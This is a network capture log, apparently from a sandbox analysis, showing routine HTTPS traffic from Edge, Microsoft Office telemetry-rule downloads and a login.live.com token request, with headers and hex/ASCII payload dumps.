2024-10-31 02:04:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49768	94.245.104.56	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:24 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:24 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 31 Oct 2024 02:04:23 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:24 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:24 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 283bb1f9-001e-0066-5cf3-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020424Z-16849878b786fl7gm2qg4r5y70000000091g00000000ueee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:24 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:25 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 4e15243a-401e-005b-2294-2a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020425Z-17c5cb586f6p5pndayxh2uxv5400000000c0000000002c3k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:25 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020425Z-16849878b78smng4k6nq15r6s40000000ag00000000008ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:25 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020425Z-16849878b78qwx7pmw9x5fub1c00000006x000000000tc1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020425Z-16849878b78zqkvcwgr6h55x9n00000008dg000000001ren x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:25 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:25 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020425Z-15b8d89586fnfb49yv03rfgz1c00000000g0000000003tgy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:25 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49784	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-31 02:04:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-31 02:04:26 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 31 Oct 2024 02:03:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 1148da46-298c-41be-a802-4df435191362 PPServer: PPV: 30 H: PH1PEPF0001B778 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 02:04:25 GMT Connection: close Content-Length: 1276
2024-10-31 02:04:26 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020426Z-16849878b78z2wx67pvzz63kdg00000007f000000000e7b6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:26 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020426Z-16849878b785jrf8dn0d2rczaw0000000a3g000000003sez x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020426Z-16849878b78qg9mlz11wgn0wcc00000008hg000000002rv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
